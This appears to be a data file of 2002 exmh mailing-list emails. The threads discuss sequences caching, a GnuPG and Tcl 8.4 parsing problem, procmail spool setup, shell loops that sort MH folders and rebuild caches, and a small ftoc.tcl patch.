you really think this is true? I added a modify time check thinking > that > it would make an improvement since we were reading it a *lot* more times > in > the new code because we're trying to use the sequences. > > On the other hand, the sequences files are probably being read out of > cache > when that happens anyway. > > Even with a small file, I'd think that the time taken to do a > [file mtime $filename] would be worth it. My code is in proc > MhReadSeqs. > > Chris > > -- > Chris Garrigues http://www.DeepEddy.Com/~cwg/ > virCIO http://www.virCIO.Com > 716 Congress, Suite 200 > Austin, TX 78701 +1 512 374 0500 > > World War III: The Wrong-Doers Vs. the Evil-Doers. > > -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Brent Welch ,"Thu, 29 Aug 2002 09:00:08 -0500",Re: New Sequences Window,"--==_Exmh_948625160P Content-Type: text/plain; charset=us-ascii > From: Brent Welch > Date: Wed, 28 Aug 2002 22:40:21 -0700 > > Well, I've used the check-the-modify-time cache trick for files in > many places (not just exmh) so some part of me certainly thinks it > is effective. However, it occurred to me that if we do checkpoint > state, then aren't we modifying the sequences file for the current > folder on every message read? Perhaps we look at the sequences file > more than once per message view? As I'd written the code a few months ago, we were reading the sequences file first to see what sequences were in it and then once per sequence. This happens anywhere that we look at sequences, most notably in Ftoc_ShowSequences. That seemed to be an obvious lose performancewise, but I wanted my abstraction to have a separate call for ""what sequences are in this folder?"" and ""what messages are in this sequence?"". One option would have been to add another call to get the data off of disk, but I felt that the check-the-modify-time technique would be less error-prone. I think the biggest gains would be from augmenting Ftoc_ShowSequences to allow a finer specification of what needs to be updated in the ftoc so that the current code would only be run when we really do have to update all sequences for all messages. I described these thoughts in an email message yesterday. And again, if it can wait a few weeks, I'm willing to do it. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_948625160P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9bijoK9b4h5R0IUIRApBEAJ9XB23cpckpVw7zWH/Uk1cG6rMCmQCfcNN9 6I86NmGOWTSr1zajO3HHPnA= =sApX -----END PGP SIGNATURE----- --==_Exmh_948625160P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Brent Welch ,Chris Garrigues ,"Fri, 30 Aug 2002 16:58:19 -0700",Re: New Sequences Window,">>>Chris Garrigues said: > > From: Brent Welch > > Date: Wed, 28 Aug 2002 22:40:21 -0700 > > > > Well, I've used the check-the-modify-time cache trick for files in > > many places (not just exmh) so some part of me certainly thinks it > > is effective. However, it occurred to me that if we do checkpoint > > state, then aren't we modifying the sequences file for the current > > folder on every message read? Perhaps we look at the sequences file > > more than once per message view? > > As I'd written the code a few months ago, we were reading the sequences > file > first to see what sequences were in it and then once per sequence. This > > happens anywhere that we look at sequences, most notably in > Ftoc_ShowSequences. > That seemed to be an obvious lose performancewise, but I wanted my > abstraction to > have a separate call for ""what sequences are in this folder?"" and ""what > messages are in this sequence?"". One option would have been to add > another > call to get the data off of disk, but I felt that the > check-the-modify-time > technique would be less error-prone. I like the check-the-modify-time technique. > I think the biggest gains would be from augmenting Ftoc_ShowSequences to > allow > a finer specification of what needs to be updated in the ftoc so that > the > current code would only be run when we really do have to update all > sequences > for all messages. I described these thoughts in an email message > yesterday. > > And again, if it can wait a few weeks, I'm willing to do it. OK - I've yet to dive into the latest round of changes, but I plan to. I can say I'll make any progress, but I may dabble. Thanks again for all your work in this area. Generalized sequence support has been on my to do list for about 8 years. -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Reg Clemens ,"exmh-users@spamassassin.taint.org, Ingo Frommholz ","Sun, 01 Sep 2002 13:56:06 -0600","Re: ARRRGHHH Had GPG working, now it doesnt.","> Hi, > > On Sun, 01 Sep 2002 00:05:03 MDT Reg Clemens wrote: > > [...] > > in messages with GnuPG signatures. But punching the line ALWAYS > > gives > > > > Signature made Thu Aug 29 00:27:17 2002 MDT using DSA key ID BDDF997A > > Can't check signature: public key not found > > > > So, something else is missing. > > Yes, the public key of the signature you want to check :-). > > Are you really sure that you have the public key of the message's > signature? If not, try downloading it or try to check a signature from > which you know you have the public key. > > > Ah, sorry for not making that clearer. But no. Previously (v1.0.6 of GnuPG) there would be a slight pause at this point while it went out to get the public key from a keyserver. Now, whether I have the key or NOT, I get the failure message. Its as if it cant find gpg to execute it (but I fixed that path), so there must be something else that I am missing... -- Reg.Clemens reg@dwf.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Ingo Frommholz ,exmh-users@spamassassin.taint.org,"Sun, 01 Sep 2002 16:14:11 +0200","Re: ARRRGHHH Had GPG working, now it doesnt.","Hi, On Sun, 01 Sep 2002 00:05:03 MDT Reg Clemens wrote: [...] > in messages with GnuPG signatures. But punching the line ALWAYS > gives > > Signature made Thu Aug 29 00:27:17 2002 MDT using DSA key ID BDDF997A > Can't check signature: public key not found > > So, something else is missing. Yes, the public key of the signature you want to check :-). Are you really sure that you have the public key of the message's signature? If not, try downloading it or try to check a signature from which you know you have the public key. Regards, Ingo -- Ingo Frommholz PGP public keys on homepage ingo@frommholz.org http://www.frommholz.org/ My childhood inspection is my record collection (Ned's Atomic Dustbin) _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Mon, 02 Sep 2002 10:18:39 -0700","Re: ARRRGHHH Had GPG working, now it doesnt.","If you haven't already, you should enable the debug log under Hacking Support preferences and look for clues there. >>>Reg Clemens said: > > Hi, > > > > On Sun, 01 Sep 2002 00:05:03 MDT Reg Clemens wrote: > > > > [...] > > > in messages with GnuPG signatures. But punching the line ALWAYS > > > gives > > > > > > Signature made Thu Aug 29 00:27:17 2002 MDT using DSA key ID BDD F997A > > > Can't check signature: public key not found > > > > > > So, something else is missing. > > > > Yes, the public key of the signature you want to check :-). > > > > Are you really sure that you have the public key of the message's > > signature? If not, try downloading it or try to check a signature from > > which you know you have the public key. > > > > > > > > Ah, sorry for not making that clearer. > But no. > Previously (v1.0.6 of GnuPG) there would be a slight pause at this point whi le > it went out to get the public key from a keyserver. > Now, whether I have the key or NOT, I get the failure message. > > Its as if it cant find gpg to execute it (but I fixed that path), so there > must be something else that I am missing... > > > -- > Reg.Clemens > reg@dwf.com > > > > > _______________________________________________ > Exmh-users mailing list > Exmh-users@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-users -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Brent Welch ,Reg Clemens ,"Mon, 02 Sep 2002 19:01:49 -0700","Re: ARRRGHHH Had GPG working, now it doesnt.","2 things - first, the switch parser changed in a subtle way with 8.4 - byte-code compilation was added, and it is slightly more strict in its parsing than the original parser. You can only have a comment where Tcl would expect to find a command. Switch has a ""pattern - body"" strucutre, so if you goof and put a comment where it is trying to find a pattern, both of you will be confused with the results. The subtlty arises with extra whitespace and newlines. I can't give you the exact case, but I know exmh had one example that stopped parsing correctly, and was arguably wrong before. 2nd - I've managed to remain fairly ignoranat of the PGP support in exmh, so you'll have to dig in yourself or see if someone else on exmh-users or exmh-workers is having similar problems. >>>Reg Clemens said: > > If you haven't already, you should enable the debug log under > > Hacking Support preferences and look for clues there. > > > > >>>Reg Clemens said: > > > > Hi, > > > > > > > > On Sun, 01 Sep 2002 00:05:03 MDT Reg Clemens wrote: > > > > > > > > [...] > > > > > in messages with GnuPG signatures. But punching the line ALWAYS > > > > > gives > > > > > > > > > > Signature made Thu Aug 29 00:27:17 2002 MDT using DSA key I D BDD > > F997A > > > > > Can't check signature: public key not found > > > > > > > > > > So, something else is missing. > > > > > > > > Yes, the public key of the signature you want to check :-). > > > > > > > > Are you really sure that you have the public key of the message's > > > > signature? If not, try downloading it or try to check a signature fro m > > > > which you know you have the public key. > > > > > > > > > > > > > > > > > > Ah, sorry for not making that clearer. > > > But no. > > > Previously (v1.0.6 of GnuPG) there would be a slight pause at this poin t whi > > le > > > it went out to get the public key from a keyserver. > > > Now, whether I have the key or NOT, I get the failure message. > > > > > > Its as if it cant find gpg to execute it (but I fixed that path), so th ere > > > must be something else that I am missing... > > > > > > > > > -- > > > Reg.Clemens > > > reg@dwf.com > > > > > > > > > > > > > > > _______________________________________________ > > > Exmh-users mailing list > > > Exmh-users@redhat.com > > > https://listman.redhat.com/mailman/listinfo/exmh-users > > > > -- > > Brent Welch > > Software Architect, Panasas Inc > > Pioneering the World's Most Scalable and Agile Storage Network > > www.panasas.com > > welch@panasas.com > > > > > Partial solution. > And this MAY be related to using tcl/tk 8.4b1, as I had a similar > problem about a month ago elsewhere in EXMH (which you found). > > But first. > I really feel like something has changed out from under me > with my making no changes to EXMH. Namely, when I first got > GPG up and working (for reading signatures) all I did was > touch the 'Check Signature' button' and it went out and queried > the keyserver for me. > Now Im getting a separate box, after the failure to find the > public key on my keyring, asking me of I want to 'Query keyserver' > > I KNOW that I never had to touch a 'Query keyserver' button in > the past, but there it is now, and I havent touched EXMH. Spooky. > > I have been working back and forth between GPG 1.0.6 and 1.0.7 > but its not clear how that could be the problem, as Im now getting > the 'Query' message when running either... > > --- > > OK, enough about my confusion. > The CURRENT problem seems to be a COMMENT in a SWITCH statement > at line 86 in pgpWWW.tcl. Tcl 8.4b1 doesnt like it and I get your > popup box. Remove it and no popupbox, but EXMH hangs (sigh). > So, not a complete solution, but at least a start. > > Thanks for the interest. > > Reg.Clemens > reg@dwf.com -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Siva Doriaswamy ,exmh-users@spamassassin.taint.org,"Thu, 05 Sep 2002 14:40:53 -0700",Changed location of incoming mail. exmh not working!!,"I use exmh 2.5 with procmail for presorting incoming mail and move it to the relevant folder using rcvstore. Recently, my incoming mail (or spool) location moved to another disk. I'm not quite clear how to reconfigure procmail/rcvstore/exmh to accept mail from the new location. There seems to be a variable in exmh-defaults (bgspool). It says at the top of the file not to edit these lines. So, I went ahead and edited it :-) That does not make a difference. It seems like procmail is the one that is actually reading the mail from my spool/incoming mail area and piping it to rcvstore. So, I need to configure that probably. Any idea how I would do this? Thanks Siva _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Waldner ,exmh-users@spamassassin.taint.org,"Fri, 06 Sep 2002 00:57:32 +0200",Re: Changed location of incoming mail. exmh not working!!,"This is a multi-part message in MIME format. It has been signed conforming to RFC2015. You'll need PGP or GPG to check the signature. ------------=_1031266655-417-16 Content-Type: text/plain; charset=us-ascii On Thu, 05 Sep 2002 14:40:53 PDT, Siva Doriaswamy writes: >Recently, my incoming mail (or spool) location moved to another disk. >I'm not quite clear how to reconfigure procmail/rcvstore/exmh to accept >mail from the new location. How do you feed procmail? Not with a .forward, I'd guess. How does mail enter your system anyway? Per fetchmail maybe? Or direct SMTP-delivery? Or does it just magically hit your spool? Lotsa questions... cheers, &rw -- -- Booze: because one doesn't solve the world's problems over white wine. ------------=_1031266655-417-16 Content-Type: application/pgp-signature; name=""signature.ng"" Content-Disposition: inline; filename=""signature.ng"" Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9d+FfE0NzSJr53oIRAtvLAJ9Dq7N0j3WXKRCwPClW+S3mc9uvjACfc8F1 tcsFzzucvnl9rvSegUfuBZU= =G2/X -----END PGP SIGNATURE----- ------------=_1031266655-417-16-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Rick Baartman ,exmh-users@spamassassin.taint.org,"Mon, 09 Sep 2002 12:05:55 -0700",Sorting,"Is there a way to do a global Sort command? Here's the situation: I like to sort by date every folder. I'm cleaning up my inbox from most recent to oldest, since I find this direction most efficient (I guess because it helps me recognize the significance of individual, old messages). But this adds messages to my other folders in the wrong order. When I'm done, I'd like to re-sort all the folders I've changed. -- rick _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Tom Reingold ,exmh-users@spamassassin.taint.org,"Mon, 09 Sep 2002 15:12:28 -0400",Re: Sorting,"On Mon, 09 Sep 2002 12:05:55 PDT, Rick Baartman wrote: > Is there a way to do a global Sort command? Here's the situation: > I like to sort by date every folder. I'm cleaning up my inbox from > most recent to oldest, since I find this direction most efficient (I > guess because it helps me recognize the significance of individual, > old messages). But this adds messages to my other folders in the > wrong order. When I'm done, I'd like to re-sort all the folders I've > changed. I don't understand. How does sorting one folder add messages to other folders? What do you use to sort? Tom _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Rick Baartman ,exmh-users@spamassassin.taint.org,"Mon, 09 Sep 2002 12:21:42 -0700",Re: Sorting,"> I don't understand. How does sorting one folder add messages to > other folders? What do you use to sort? > Sorry I wasn't clear. I am transferring messages from my inbox to other folders and since I am doing it from most recent to oldest, they appear in those folders in the wrong order and need re-sorting. -- rick _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Tom Reingold ,exmh-users@spamassassin.taint.org,"Mon, 09 Sep 2002 15:36:37 -0400",Re: Sorting,"On Mon, 09 Sep 2002 12:21:42 PDT, Rick Baartman wrote: > Sorry I wasn't clear. I am transferring messages from my inbox to > other folders and since I am doing it from most recent to oldest, they > appear in those folders in the wrong order and need re-sorting. OK, gotcha. I don't think you can do that with exmh, but you can do it on the command line, if you use sh or ksh: for f in `folders -fast -r` do echo sorting $f ... sortm +$f done It could take a long time. At work, I have to use Outlook. Ick. I hate it. But it does a few things right. Like making indices for each folder, and not just by date, but also by sender, message size, subject. So I can sort by any column instantly. I believe this is possible, too, with an IMAP compliant reader, provided the IMAP server makes such indices. I am facing the fact that exmh has been left behind in some industry standards. I use it for my personal mail. My mail server runs unix, and I connect over ssh and tunnel my X traffic over ssh. With a slow link, this makes exmh very slow. And mime handling is pretty bad compared with modern mailers. I am just scared to move. I've been using MH or nmh since 1985 and exmh since 1995. 17 years is a long time! _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Jacob Morzinski ,,"Mon, 9 Sep 2002 15:43:34 -0400 (EDT)",Re: Sorting,"On Mon, 9 Sep 2002, Rick Baartman wrote: > Is there a way to do a global Sort command? Wanting to sort like that is not common; I'd be surprised if exmh has a widget for it. You can achieve what you want with the command-line mh tools, though. I suggest doing the following from a shell prompt: sh -c 'for f in ""`folders -recurse -fast`"" ; do sortm +""$f"" ; done' (The command ""sortm"" will sort a particular folder, and ""folders -recurse -fast"" prints out a list of all of your folders.) I hope this helps, Jacob Morzinski jmorzins@mit.edu _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """David B. Thompson"" ",exmh-users@spamassassin.taint.org,"Mon, 09 Sep 2002 15:06:39 -0500",Exmh/nmh (was Sorting)...,"> I am facing the fact that exmh has been left behind in some industry > standards. I use it for my personal mail. My mail server runs unix, > and I connect over ssh and tunnel my X traffic over ssh. With a slow > link, this makes exmh very slow. And mime handling is pretty bad > compared with modern mailers. These are some good comments and I'd like to share an opinion here. (Is that permitted? :) I started using linux about 8 or 9 years ago in rebellion against what the university was doing with Winder$. I just couldn't get good support and was using a lot of unix-based tools (ported to Winder$) anyway. So, I jumped ship and became my own sysadm. What I got was the easy ability to use a shell (now ssh) to connect to my office box from just about anywhere and use either exmh or nmh (from the command line). I can do email for the office fairly easily. I haven't seen any other tools that let me do that yet. But, I have to admit, that some of the web-based mail software is getting pretty close. Quoting and such is still primitive, but they're moving forward. -=d _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Rick Baartman ,exmh-users@spamassassin.taint.org,"Mon, 09 Sep 2002 14:11:17 -0700",Re: Sorting,"> On Mon, 9 Sep 2002, Rick Baartman wrote: > > Is there a way to do a global Sort command? > > > Wanting to sort like that is not common; I'd be surprised if exmh has > a widget for it. You can achieve what you want with the command-line > mh tools, though. > I suggest doing the following from a shell prompt: > > sh -c 'for f in ""`folders -recurse -fast`"" ; do sortm +""$f"" ; done' > > (The command ""sortm"" will sort a particular folder, and > ""folders -recurse -fast"" prints out a list of all of your folders.) > > Thanks Tom and Jacob. The above works, but without the double quotes: i.e. sh -c 'for f in `folders -recurse -fast` ; do sortm +""$f"" ; done' I'd attach this command to the sorting menu if I knew any tcl... -- rick _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Rick Baartman ,exmh-users@spamassassin.taint.org,"Mon, 09 Sep 2002 16:54:08 -0700",Re: Sorting,"> > On Mon, 9 Sep 2002, Rick Baartman wrote: > Thanks Tom and Jacob. The above works, but without the double quotes: i.e. > > sh -c 'for f in `folders -recurse -fast` ; do sortm +""$f"" ; done' > But there is a problem with making changes outside of exmh: the .xmhcache files don't get updated. This is dangerous; I have to remember to re-scan each folder I enter. Is there a safeguard for this? -- rick _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Jacob Morzinski ,,"Mon, 9 Sep 2002 22:00:03 -0400 (EDT)",Re: Sorting,"> > sh -c 'for f in ""`folders -recurse -fast`"" ; do sortm +""$f"" ; done' > Thanks Tom and Jacob. The above works, but without the double quotes: i.e. > > sh -c 'for f in `folders -recurse -fast` ; do sortm +""$f"" ; done' I may have a different version of ""sh"" than you do; the double quotes around the backticks work for my ""sh"". (In the more-than-you-really-wanted-to-know category, you're probably safe without the double quotes. The only reason I put them in is that I have some pathologically-named folders, including folders whose names contain spaces. If all your folders have safe names, you don't need special quoting.) -Jacob _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,Rick Baartman ,"Mon, 09 Sep 2002 22:06:58 -0500",Re: Sorting,">>>>> On Mon, 9 Sep 2002, ""Rick"" == Rick Baartman wrote: Rick> This is dangerous; I have to remember to re-scan each Rick> folder I enter. Is there a safeguard for this? Nope. Regenerate the cache in the script for f in `folders -fast -r` do echo sorting $f ... sortm +$f scan `mhpath +`/$f/.xmhcache done --Hal _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Elz ,exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 12:52:16 +0700",Patch to complete a change...,"This is a multipart MIME message. --==_Exmh_16073047980 Content-Type: text/plain; charset=us-ascii I suspect that as part of Chris' set of changes, he cleaned up the use of the variable that was named ""L"" in FtocCommit (in ftoc.tcl). Its name got changed from L to lineno But there's one reference of $L left. That causes tracebacks if you attempt to use ""link"" with the current CVS version of exmh. I guess that most of us don't use ""link"" very often ... I noticed it last week, but only got time to look and see why today. If someone with the ability to commit to the CVS repository would apply the following patch (to lib/ftoc.tcl) that would be nice. (It works... and is trivial, and you could perhaps just apply it by making the change with an editor faster than saving this patch and applying it - there's only one instance of $L in the file, that should be changed to $lineno) kre --==_Exmh_16073047980 Content-Type: text/plain ; name=""patch""; charset=us-ascii Content-Description: patch Content-Disposition: attachment; filename=""PATCH"" --- ftoc.tcl.PREV Wed Aug 21 15:01:48 2002 +++ ftoc.tcl Tue Sep 10 12:47:06 2002 @@ -1131,9 +1131,9 @@ } } incr ftoc(numMsgs) -1 } else { - FtocUnmarkInner $L + FtocUnmarkInner $lineno } incr ftoc(changed) -1 } if {$delmsgs != {}} { --==_Exmh_16073047980-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Mon, 09 Sep 2002 23:11:42 -0700",Re: Patch to complete a change...,"Done >>>Robert Elz said: > I suspect that as part of Chris' set of changes, he cleaned up the > use of the variable that was named ""L"" in FtocCommit (in ftoc.tcl). > Its name got changed from L to lineno > > But there's one reference of $L left. That causes tracebacks if > you attempt to use ""link"" with the current CVS version of exmh. > > I guess that most of us don't use ""link"" very often ... I noticed it > last week, but only got time to look and see why today. > > If someone with the ability to commit to the CVS repository would > apply the following patch (to lib/ftoc.tcl) that would be nice. > (It works... and is trivial, and you could perhaps just apply it by > making the change with an editor faster than saving this patch and > applying it - there's only one instance of $L in the file, that > should be changed to $lineno) > > kre > > > --- ftoc.tcl.PREV Wed Aug 21 15:01:48 2002 > +++ ftoc.tcl Tue Sep 10 12:47:06 2002 > @@ -1131,9 +1131,9 @@ > } > } > incr ftoc(numMsgs) -1 > } else { > - FtocUnmarkInner $L > + FtocUnmarkInner $lineno > } > incr ftoc(changed) -1 > } > if {$delmsgs != {}} { > > --==_Exmh_16073047980-- -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Waldner ,exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 09:23:50 +0200",Re: Sorting,"This is a multi-part message in MIME format. It has been signed conforming to RFC2015. You'll need PGP or GPG to check the signature. ------------=_1031642648-417-32 Content-Type: text/plain; charset=us-ascii On Mon, 09 Sep 2002 22:06:58 CDT, Hal DeVore writes: > scan `mhpath +`/$f/.xmhcache Shouldn't that read scan >`mhpath +`/$f/.xmhcache ? (And, JIC something else changed the context in the background, it doesn't hurt to explicitly state the folder: scan ""+$f"" >`mhpath +`/$f/.xmhcache ) cheers, &rw -- -- ""The problem with the IBM keyboards I have is that when you -- use them to beat lusers, the caps come off the keys. -- No real damage, but still a nuisance."" -- Martijn Berlage ------------=_1031642648-417-32 Content-Type: application/pgp-signature; name=""signature.ng"" Content-Disposition: inline; filename=""signature.ng"" Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9fZ4YE0NzSJr53oIRAlxqAJsG8DKAx7bxB6bGzz70VdsAkx6UiQCdG8pJ s2JuFuUt7Kaz3xb0JyOx87A= =RFA6 -----END PGP SIGNATURE----- ------------=_1031642648-417-32-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 J C Lawrence ,exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 01:20:56 -0700",Re: Sorting,"On Mon, 09 Sep 2002 15:36:37 -0400 Tom Reingold wrote: > At work, I have to use Outlook. Ick. I hate it. Ahh. At work we fire people who use Outlook (Literally true: They get escorted to the door, their badge confiscated, and told to return the next day to collect their office contents). > But it does a few things right. Like making indices for each folder, > and not just by date, but also by sender, message size, subject. So I > can sort by any column instantly. Have you looked into using a custom sequences file? > And mime handling is pretty bad compared with modern mailers. The only thing I actually miss in that regard is support for S/MIME. -- J C Lawrence ---------(*) Satan, oscillate my metallic sonatas. claw@kanga.nu He lived as a devil, eh? http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Tom Reingold ,exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 10:29:26 -0400",Re: Sorting,"On Tue, 10 Sep 2002 01:20:56 PDT, J C Lawrence wrote: > On Mon, 09 Sep 2002 15:36:37 -0400 > Tom Reingold wrote: > > > At work, I have to use Outlook. Ick. I hate it. > > Ahh. At work we fire people who use Outlook (Literally true: They get > escorted to the door, their badge confiscated, and told to return the > next day to collect their office contents). Why? What threat does Outlook pose to your organization? > > But it does a few things right. Like making indices for each folder, > > and not just by date, but also by sender, message size, subject. So I > > can sort by any column instantly. > > Have you looked into using a custom sequences file? More detail please? I do use sequences, so I'm familiar with their use, but how can I make indices with them, and how can I keep them up to date? > > And mime handling is pretty bad compared with modern mailers. > > The only thing I actually miss in that regard is support for S/MIME. You're probably running exmh on a local machine. I'm running it on a very remote machine. In this scenario, the mime handling is weak. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 James Gibbon ,exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 15:43:32 +0100",Re: Sorting,"Tom Reingold wrote: > > > > Ahh. At work we fire people who use Outlook (Literally true: > > They get escorted to the door, their badge confiscated, and > > told to return the next day to collect their office contents). > > Why? What threat does Outlook pose to your organization? > It has been described as ""the technological equivalent of soliciting blood transfusions from random strangers in the street"". In short - it's a virus magnet. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 J C Lawrence ,exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 09:27:12 -0700",Re: Sorting,"On Tue, 10 Sep 2002 10:29:26 -0400 Tom Reingold wrote: > On Tue, 10 Sep 2002 01:20:56 PDT, J C Lawrence wrote: >> Ahh. At work we fire people who use Outlook (Literally true: They >> get escorted to the door, their badge confiscated, and told to return >> the next day to collect their office contents). > Why? What threat does Outlook pose to your organization? It places the company, corporate network and data at risk. Outlook is subject to an (absurdly large) number of exploits with more being regularly found. An exploited system, to whatever extent, places other corporate systems at risk, customer systems at risk, company reputation and liability with customers at risk, and proprietary/corporate data at risk. Further, users cannot be reliably expected to use Outlook in a safe manner. The net result is that Outlook use is considered to be somewhere between criminal negligence and deliberately malicious as far as the employer is concerned. >> Have you looked into using a custom sequences file? > More detail please? I do use sequences, so I'm familiar with their > use, but how can I make indices with them, and how can I keep them up > to date? I don't use custom sequences, so I can't comment well. I suspect that you'd have to use a cron job to maintain the sequences. >> The only thing I actually miss in that regard is support for S/MIME. > You're probably running exmh on a local machine. I'm running it on a > very remote machine. In this scenario, the mime handling is weak. Nope. I run exmh on my desktops at home and at work with the resulting exmh windows being displayed on both my work and home desktops (gratis SSH X11 forwarding). In fact, your message was read and replied to (this message) while at work, using an exmh instance running on my home machine. -- J C Lawrence ---------(*) Satan, oscillate my metallic sonatas. claw@kanga.nu He lived as a devil, eh? http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """Kevin Oberman"" ",exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 08:56:47 -0700",Re: Sorting,"--Multipart_Tue_Sep_10_08:56:11_2002-1 Content-Type: text/plain; charset=US-ASCII > From: Hal DeVore > Sender: exmh-users-admin@spamassassin.taint.org > Date: Mon, 09 Sep 2002 22:06:58 -0500 > > > > >>>>> On Mon, 9 Sep 2002, ""Rick"" == Rick Baartman wrote: > > Rick> This is dangerous; I have to remember to re-scan each > Rick> folder I enter. Is there a safeguard for this? > > Nope. Regenerate the cache in the script > > for f in `folders -fast -r` > do > echo sorting $f ... > sortm +$f > scan `mhpath +`/$f/.xmhcache > done > > --Hal Here is the little script I run I run nightly from cron. It does a general tidying of things including sorting and updating the cache. I didn't write it and I'm afraid I have lost track of who did, but it's worked well for years. I run a similar one to update the glimpse indices nightly. R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman@es.net Phone: +1 510 486-8634 --Multipart_Tue_Sep_10_08:56:11_2002-1 Content-Type: application/octet-stream Content-Disposition: attachment; filename=""swasort"" Content-Transfer-Encoding: 7bit #!/bin/tcsh -f # # Sorts all folders # # We don't want to sort the drafts folder (and the folders ~/Mail/.glimpse/) # # default field to sort .: date # default scan width ....: 100 # set MH_DIR=/usr/local/nmh/bin set MAIL=/home/oberman/Mail # update $MAIL/.folders $MH_DIR/folders -fast -recurse -all > $MAIL/.folders # thru all folders ... foreach i ( `cat $MAIL/.folders | grep -v \.glim | grep -v drafts` ) # sort the stuff $MH_DIR/mh/sortm +$i -datefield date >& /dev/null # and update the cache $MH_DIR/scan +$i -width 100 > $MAIL/$i/.xmhcache end --Multipart_Tue_Sep_10_08:56:11_2002-1-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Tom Reingold ,exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 11:29:58 -0400",Re: Sorting,"On Tue, 10 Sep 2002 15:43:32 BST, James Gibbon wrote: > > Tom Reingold wrote: > > > Why? What threat does Outlook pose to your organization? > > > > It has been described as ""the technological equivalent of > soliciting blood transfusions from random strangers in the > street"". In short - it's a virus magnet. Oh, that. Well, you're right. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """David B. Thompson"" ",exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 